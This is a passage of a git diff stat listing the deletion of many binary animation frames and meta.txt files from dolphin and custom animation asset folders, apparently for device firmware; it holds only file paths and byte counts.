.../dolphin/L1_Mods_128x64/frame_31.bm | Bin 637 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_32.bm | Bin 644 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_33.bm | Bin 578 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_34.bm | Bin 476 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_35.bm | Bin 572 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_36.bm | Bin 618 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_37.bm | Bin 570 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_38.bm | Bin 601 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_39.bm | Bin 614 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_4.bm | Bin 621 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_40.bm | Bin 604 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_5.bm | Bin 636 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_6.bm | Bin 618 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_7.bm | Bin 622 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_8.bm | Bin 644 -> 0 bytes .../dolphin/L1_Mods_128x64/frame_9.bm | Bin 647 -> 0 bytes .../resources/dolphin/L1_Mods_128x64/meta.txt | 14 -- .../dolphin/L1_Painting_128x64/frame_0.bm | Bin 763 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_1.bm | Bin 764 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_10.bm | Bin 772 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_11.bm | Bin 767 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_2.bm | Bin 762 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_3.bm | Bin 759 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_4.bm | Bin 759 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_5.bm | Bin 757 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_6.bm | Bin 785 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_7.bm | Bin 803 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_8.bm | Bin 797 -> 0 bytes .../dolphin/L1_Painting_128x64/frame_9.bm | Bin 777 -> 0 bytes .../dolphin/L1_Painting_128x64/meta.txt | 32 --- .../dolphin/L1_Read_books_128x64/frame_0.bm | Bin 653 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_1.bm | Bin 653 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_2.bm | Bin 650 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_3.bm | Bin 646 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_4.bm | Bin 650 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_5.bm | Bin 652 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_6.bm | Bin 646 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_7.bm | Bin 647 -> 0 bytes .../dolphin/L1_Read_books_128x64/frame_8.bm | Bin 643 -> 0 bytes .../dolphin/L1_Read_books_128x64/meta.txt | 23 -- .../dolphin/L1_Recording_128x51/frame_0.bm | Bin 663 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_1.bm | Bin 657 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_10.bm | Bin 629 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_11.bm | Bin 659 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_2.bm | Bin 628 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_3.bm | Bin 654 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_4.bm | Bin 662 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_5.bm | Bin 622 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_6.bm | Bin 664 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_7.bm | Bin 626 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_8.bm | Bin 663 -> 0 bytes .../dolphin/L1_Recording_128x51/frame_9.bm | Bin 661 -> 0 bytes .../dolphin/L1_Recording_128x51/meta.txt | 14 -- .../dolphin/L1_Sleep_128x64/frame_0.bm | Bin 580 -> 0 bytes .../dolphin/L1_Sleep_128x64/frame_1.bm | Bin 589 -> 0 bytes .../dolphin/L1_Sleep_128x64/frame_2.bm | Bin 582 -> 0 bytes .../dolphin/L1_Sleep_128x64/frame_3.bm | Bin 597 -> 0 bytes .../dolphin/L1_Sleep_128x64/meta.txt | 41 ---- .../dolphin/L1_Sleigh_ride_128x64/frame_0.bm | Bin 727 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_1.bm | Bin 835 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_10.bm | Bin 684 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_11.bm | Bin 725 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_12.bm | Bin 775 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_13.bm | Bin 693 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_14.bm | Bin 719 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_15.bm | Bin 819 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_16.bm | Bin 780 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_17.bm | Bin 665 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_18.bm | Bin 739 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_19.bm | Bin 781 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_2.bm | Bin 781 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_20.bm | Bin 708 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_21.bm | Bin 717 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_22.bm | Bin 829 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_23.bm | Bin 763 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_24.bm | Bin 726 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_25.bm | Bin 783 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_26.bm | Bin 731 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_27.bm | Bin 748 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_28.bm | Bin 507 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_29.bm | Bin 334 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_3.bm | Bin 725 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_30.bm | Bin 219 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_31.bm | Bin 176 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_32.bm | Bin 173 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_33.bm | Bin 356 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_34.bm | Bin 699 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_35.bm | Bin 812 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_36.bm | Bin 686 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_4.bm | Bin 791 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_5.bm | Bin 706 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_6.bm | Bin 688 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_7.bm | Bin 724 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_8.bm | Bin 808 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/frame_9.bm | Bin 735 -> 0 bytes .../dolphin/L1_Sleigh_ride_128x64/meta.txt | 23 -- .../dolphin/L1_Waves_128x50/frame_0.bm | Bin 443 -> 0 bytes .../dolphin/L1_Waves_128x50/frame_1.bm | Bin 448 -> 0 bytes .../dolphin/L1_Waves_128x50/frame_2.bm | Bin 463 -> 0 bytes .../dolphin/L1_Waves_128x50/frame_3.bm | Bin 472 -> 0 bytes .../dolphin/L1_Waves_128x50/meta.txt | 50 ---- .../dolphin/L2_Furippa2_128x64/frame_0.bm | Bin 350 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_1.bm | Bin 385 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_10.bm | Bin 465 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_11.bm | Bin 698 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_12.bm | Bin 541 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_13.bm | Bin 584 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_14.bm | Bin 610 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_15.bm | Bin 740 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_16.bm | Bin 533 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_17.bm | Bin 451 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_18.bm | Bin 397 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_2.bm | Bin 402 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_3.bm | Bin 374 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_4.bm | Bin 440 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_5.bm | Bin 449 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_6.bm | Bin 466 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_7.bm | Bin 350 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_8.bm | Bin 319 -> 0 bytes .../dolphin/L2_Furippa2_128x64/frame_9.bm | Bin 317 -> 0 bytes .../dolphin/L2_Furippa2_128x64/meta.txt | 14 -- .../dolphin/L2_Hacking_pc_128x64/frame_0.bm | Bin 543 -> 0 bytes .../dolphin/L2_Hacking_pc_128x64/frame_1.bm | Bin 545 -> 0 bytes .../dolphin/L2_Hacking_pc_128x64/frame_2.bm | Bin 548 -> 0 bytes .../dolphin/L2_Hacking_pc_128x64/frame_3.bm | Bin 608 -> 0 bytes .../dolphin/L2_Hacking_pc_128x64/frame_4.bm | Bin 609 -> 0 bytes .../dolphin/L2_Hacking_pc_128x64/meta.txt | 32 --- .../dolphin/L2_Soldering_128x64/frame_0.bm | Bin 699 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_1.bm | Bin 688 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_10.bm | Bin 699 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_2.bm | Bin 689 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_3.bm | Bin 689 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_4.bm | Bin 693 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_5.bm | Bin 696 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_6.bm | Bin 712 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_7.bm | Bin 732 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_8.bm | Bin 705 -> 0 bytes .../dolphin/L2_Soldering_128x64/frame_9.bm | Bin 698 -> 0 bytes .../dolphin/L2_Soldering_128x64/meta.txt | 23 -- .../dolphin/L2_Wake_up_128x64/frame_0.bm | Bin 874 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_1.bm | Bin 871 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_10.bm | Bin 846 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_11.bm | Bin 833 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_12.bm | Bin 772 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_13.bm | Bin 745 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_14.bm | Bin 747 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_15.bm | Bin 753 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_16.bm | Bin 689 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_17.bm | Bin 186 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_18.bm | Bin 216 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_19.bm | Bin 792 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_2.bm | Bin 875 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_20.bm | Bin 852 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_3.bm | Bin 884 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_4.bm | Bin 872 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_5.bm | Bin 873 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_6.bm | Bin 827 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_7.bm | Bin 763 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_8.bm | Bin 751 -> 0 bytes .../dolphin/L2_Wake_up_128x64/frame_9.bm | Bin 725 -> 0 bytes .../dolphin/L2_Wake_up_128x64/meta.txt | 14 -- .../dolphin/L3_Furippa3_128x64/frame_0.bm | Bin 398 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_1.bm | Bin 438 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_10.bm | Bin 559 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_11.bm | Bin 728 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_12.bm | Bin 541 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_13.bm | Bin 584 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_14.bm | Bin 610 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_15.bm | Bin 741 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_16.bm | Bin 559 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_17.bm | Bin 492 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_18.bm | Bin 445 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_2.bm | Bin 463 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_3.bm | Bin 424 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_4.bm | Bin 499 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_5.bm | Bin 504 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_6.bm | Bin 521 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_7.bm | Bin 398 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_8.bm | Bin 419 -> 0 bytes .../dolphin/L3_Furippa3_128x64/frame_9.bm | Bin 435 -> 0 bytes .../dolphin/L3_Furippa3_128x64/meta.txt | 14 -- .../dolphin/L3_Hijack_radio_128x64/frame_0.bm | Bin 524 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_1.bm | Bin 527 -> 0 bytes .../L3_Hijack_radio_128x64/frame_10.bm | Bin 550 -> 0 bytes .../L3_Hijack_radio_128x64/frame_11.bm | Bin 572 -> 0 bytes .../L3_Hijack_radio_128x64/frame_12.bm | Bin 539 -> 0 bytes .../L3_Hijack_radio_128x64/frame_13.bm | Bin 579 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_2.bm | Bin 526 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_3.bm | Bin 529 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_4.bm | Bin 571 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_5.bm | Bin 574 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_6.bm | Bin 524 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_7.bm | Bin 655 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_8.bm | Bin 645 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/frame_9.bm | Bin 611 -> 0 bytes .../dolphin/L3_Hijack_radio_128x64/meta.txt | 14 -- .../dolphin/L3_Lab_research_128x54/frame_0.bm | Bin 611 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_1.bm | Bin 614 -> 0 bytes .../L3_Lab_research_128x54/frame_10.bm | Bin 576 -> 0 bytes .../L3_Lab_research_128x54/frame_11.bm | Bin 585 -> 0 bytes .../L3_Lab_research_128x54/frame_12.bm | Bin 571 -> 0 bytes .../L3_Lab_research_128x54/frame_13.bm | Bin 615 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_2.bm | Bin 618 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_3.bm | Bin 608 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_4.bm | Bin 615 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_5.bm | Bin 618 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_6.bm | Bin 615 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_7.bm | Bin 585 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_8.bm | Bin 578 -> 0 bytes .../dolphin/L3_Lab_research_128x54/frame_9.bm | Bin 581 -> 0 bytes .../dolphin/L3_Lab_research_128x54/meta.txt | 59 ----- assets/resources/dolphin/manifest.txt | 135 ----------- assets/resources/dolphin/name.txt.example | 6 - .../Anims/PaxGod_TikTok_Marketing/frame_0.bm | Bin 416 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_1.bm | Bin 385 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_10.bm | Bin 365 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_11.bm | Bin 391 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_12.bm | Bin 395 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_13.bm | Bin 385 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_14.bm | Bin 440 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_15.bm | Bin 451 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_16.bm | Bin 440 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_17.bm | Bin 444 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_18.bm | Bin 451 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_19.bm | Bin 444 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_2.bm | Bin 409 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_20.bm | Bin 463 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_21.bm | Bin 454 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_22.bm | Bin 472 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_23.bm | Bin 462 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_24.bm | Bin 487 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_25.bm | Bin 483 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_26.bm | Bin 483 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_27.bm | Bin 488 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_3.bm | Bin 398 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_4.bm | Bin 390 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_5.bm | Bin 378 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_6.bm | Bin 350 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_7.bm | Bin 368 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_8.bm | Bin 361 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/frame_9.bm | Bin 358 -> 0 bytes .../Anims/PaxGod_TikTok_Marketing/meta.txt | 13 -- .../NSFW/Anims/lvl_1/frame_0.bm | Bin 280 -> 0 bytes .../NSFW/Anims/lvl_1/frame_1.bm | Bin 279 -> 0 bytes .../NSFW/Anims/lvl_1/frame_10.bm | Bin 312 -> 0 bytes .../NSFW/Anims/lvl_1/frame_11.bm | Bin 281 -> 0 bytes .../NSFW/Anims/lvl_1/frame_12.bm | Bin 277 -> 0 bytes .../NSFW/Anims/lvl_1/frame_13.bm | Bin 248 -> 0 bytes .../NSFW/Anims/lvl_1/frame_14.bm | Bin 269 -> 0 bytes .../NSFW/Anims/lvl_1/frame_15.bm | Bin 305 -> 0 bytes .../NSFW/Anims/lvl_1/frame_16.bm | Bin 305 -> 0 bytes .../NSFW/Anims/lvl_1/frame_17.bm | Bin 273 -> 0 bytes .../NSFW/Anims/lvl_1/frame_18.bm | Bin 270 -> 0 bytes .../NSFW/Anims/lvl_1/frame_19.bm | Bin 281 -> 0 bytes .../NSFW/Anims/lvl_1/frame_2.bm | Bin 302 -> 0 bytes .../NSFW/Anims/lvl_1/frame_20.bm | Bin 267 -> 0 bytes .../NSFW/Anims/lvl_1/frame_21.bm | Bin 281 -> 0 bytes .../NSFW/Anims/lvl_1/frame_22.bm | Bin 283 -> 0 bytes .../NSFW/Anims/lvl_1/frame_23.bm | Bin 266 -> 0 bytes .../NSFW/Anims/lvl_1/frame_24.bm | Bin 290 -> 0 bytes .../NSFW/Anims/lvl_1/frame_25.bm | Bin 301 -> 0 bytes .../NSFW/Anims/lvl_1/frame_26.bm | Bin 365 -> 0 bytes .../NSFW/Anims/lvl_1/frame_27.bm | Bin 361 -> 0 bytes .../NSFW/Anims/lvl_1/frame_28.bm | Bin 338 -> 0 bytes .../NSFW/Anims/lvl_1/frame_29.bm | Bin 306 -> 0 bytes .../NSFW/Anims/lvl_1/frame_3.bm | Bin 273 -> 0 bytes .../NSFW/Anims/lvl_1/frame_30.bm | Bin 278 -> 0 bytes .../NSFW/Anims/lvl_1/frame_4.bm | Bin 245 -> 0 bytes .../NSFW/Anims/lvl_1/frame_5.bm | Bin 256 -> 0 bytes .../NSFW/Anims/lvl_1/frame_6.bm | Bin 277 -> 0 bytes .../NSFW/Anims/lvl_1/frame_7.bm | Bin 305 -> 0 bytes .../NSFW/Anims/lvl_1/frame_8.bm | Bin 325 -> 0 bytes .../NSFW/Anims/lvl_1/frame_9.bm | Bin 314 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_1/meta.txt | 14 -- .../NSFW/Anims/lvl_10/frame_0.bm | Bin 629 -> 0 bytes .../NSFW/Anims/lvl_10/frame_1.bm | Bin 661 -> 0 bytes .../NSFW/Anims/lvl_10/frame_10.bm | Bin 636 -> 0 bytes .../NSFW/Anims/lvl_10/frame_11.bm | Bin 649 -> 0 bytes .../NSFW/Anims/lvl_10/frame_12.bm | Bin 628 -> 0 bytes .../NSFW/Anims/lvl_10/frame_13.bm | Bin 632 -> 0 bytes .../NSFW/Anims/lvl_10/frame_14.bm | Bin 647 -> 0 bytes .../NSFW/Anims/lvl_10/frame_15.bm | Bin 642 -> 0 bytes .../NSFW/Anims/lvl_10/frame_16.bm | Bin 632 -> 0 bytes .../NSFW/Anims/lvl_10/frame_17.bm | Bin 642 -> 0 bytes .../NSFW/Anims/lvl_10/frame_18.bm | Bin 648 -> 0 bytes .../NSFW/Anims/lvl_10/frame_19.bm | Bin 668 -> 0 bytes .../NSFW/Anims/lvl_10/frame_2.bm | Bin 643 -> 0 bytes .../NSFW/Anims/lvl_10/frame_20.bm | Bin 653 -> 0 bytes .../NSFW/Anims/lvl_10/frame_21.bm | Bin 639 -> 0 bytes .../NSFW/Anims/lvl_10/frame_22.bm | Bin 650 -> 0 bytes .../NSFW/Anims/lvl_10/frame_23.bm | Bin 638 -> 0 bytes .../NSFW/Anims/lvl_10/frame_24.bm | Bin 646 -> 0 bytes .../NSFW/Anims/lvl_10/frame_25.bm | Bin 630 -> 0 bytes .../NSFW/Anims/lvl_10/frame_26.bm | Bin 652 -> 0 bytes .../NSFW/Anims/lvl_10/frame_27.bm | Bin 648 -> 0 bytes .../NSFW/Anims/lvl_10/frame_3.bm | Bin 653 -> 0 bytes .../NSFW/Anims/lvl_10/frame_4.bm | Bin 643 -> 0 bytes .../NSFW/Anims/lvl_10/frame_5.bm | Bin 659 -> 0 bytes .../NSFW/Anims/lvl_10/frame_6.bm | Bin 631 -> 0 bytes .../NSFW/Anims/lvl_10/frame_7.bm | Bin 637 -> 0 bytes .../NSFW/Anims/lvl_10/frame_8.bm | Bin 627 -> 0 bytes .../NSFW/Anims/lvl_10/frame_9.bm | Bin 641 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_10/meta.txt | 14 -- .../NSFW/Anims/lvl_11/frame_0.bm | Bin 380 -> 0 bytes .../NSFW/Anims/lvl_11/frame_1.bm | Bin 391 -> 0 bytes .../NSFW/Anims/lvl_11/frame_10.bm | Bin 368 -> 0 bytes .../NSFW/Anims/lvl_11/frame_11.bm | Bin 387 -> 0 bytes .../NSFW/Anims/lvl_11/frame_12.bm | Bin 385 -> 0 bytes .../NSFW/Anims/lvl_11/frame_13.bm | Bin 382 -> 0 bytes .../NSFW/Anims/lvl_11/frame_14.bm | Bin 401 -> 0 bytes .../NSFW/Anims/lvl_11/frame_15.bm | Bin 405 -> 0 bytes .../NSFW/Anims/lvl_11/frame_16.bm | Bin 373 -> 0 bytes .../NSFW/Anims/lvl_11/frame_17.bm | Bin 386 -> 0 bytes .../NSFW/Anims/lvl_11/frame_18.bm | Bin 419 -> 0 bytes .../NSFW/Anims/lvl_11/frame_19.bm | Bin 400 -> 0 bytes .../NSFW/Anims/lvl_11/frame_2.bm | Bin 406 -> 0 bytes .../NSFW/Anims/lvl_11/frame_20.bm | Bin 396 -> 0 bytes .../NSFW/Anims/lvl_11/frame_21.bm | Bin 412 -> 0 bytes .../NSFW/Anims/lvl_11/frame_22.bm | Bin 423 -> 0 bytes .../NSFW/Anims/lvl_11/frame_23.bm | Bin 399 -> 0 bytes .../NSFW/Anims/lvl_11/frame_24.bm | Bin 408 -> 0 bytes .../NSFW/Anims/lvl_11/frame_25.bm | Bin 423 -> 0 bytes .../NSFW/Anims/lvl_11/frame_26.bm | Bin 391 -> 0 bytes .../NSFW/Anims/lvl_11/frame_27.bm | Bin 408 -> 0 bytes .../NSFW/Anims/lvl_11/frame_28.bm | Bin 399 -> 0 bytes .../NSFW/Anims/lvl_11/frame_29.bm | Bin 413 -> 0 bytes .../NSFW/Anims/lvl_11/frame_3.bm | Bin 420 -> 0 bytes .../NSFW/Anims/lvl_11/frame_30.bm | Bin 413 -> 0 bytes .../NSFW/Anims/lvl_11/frame_31.bm | Bin 402 -> 0 bytes .../NSFW/Anims/lvl_11/frame_32.bm | Bin 422 -> 0 bytes .../NSFW/Anims/lvl_11/frame_33.bm | Bin 413 -> 0 bytes .../NSFW/Anims/lvl_11/frame_34.bm | Bin 399 -> 0 bytes .../NSFW/Anims/lvl_11/frame_35.bm | Bin 434 -> 0 bytes .../NSFW/Anims/lvl_11/frame_36.bm | Bin 416 -> 0 bytes .../NSFW/Anims/lvl_11/frame_37.bm | Bin 427 -> 0 bytes .../NSFW/Anims/lvl_11/frame_38.bm | Bin 407 -> 0 bytes .../NSFW/Anims/lvl_11/frame_39.bm | Bin 425 -> 0 bytes .../NSFW/Anims/lvl_11/frame_4.bm | Bin 404 -> 0 bytes .../NSFW/Anims/lvl_11/frame_40.bm | Bin 442 -> 0 bytes .../NSFW/Anims/lvl_11/frame_41.bm | Bin 424 -> 0 bytes .../NSFW/Anims/lvl_11/frame_42.bm | Bin 424 -> 0 bytes .../NSFW/Anims/lvl_11/frame_43.bm | Bin 430 -> 0 bytes .../NSFW/Anims/lvl_11/frame_44.bm | Bin 440 -> 0 bytes .../NSFW/Anims/lvl_11/frame_45.bm | Bin 444 -> 0 bytes .../NSFW/Anims/lvl_11/frame_46.bm | Bin 429 -> 0 bytes .../NSFW/Anims/lvl_11/frame_47.bm | Bin 437 -> 0 bytes .../NSFW/Anims/lvl_11/frame_48.bm | Bin 461 -> 0 bytes .../NSFW/Anims/lvl_11/frame_49.bm | Bin 453 -> 0 bytes .../NSFW/Anims/lvl_11/frame_5.bm | Bin 412 -> 0 bytes .../NSFW/Anims/lvl_11/frame_6.bm | Bin 413 -> 0 bytes .../NSFW/Anims/lvl_11/frame_7.bm | Bin 400 -> 0 bytes .../NSFW/Anims/lvl_11/frame_8.bm | Bin 412 -> 0 bytes .../NSFW/Anims/lvl_11/frame_9.bm | Bin 400 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_11/meta.txt | 14 -- .../NSFW/Anims/lvl_12/frame_0.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_1.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_10.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_11.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_12.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_13.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_14.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_15.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_2.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_3.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_4.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_5.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_6.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_7.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_12/frame_8.bm | Bin 1025 -> 0 bytes 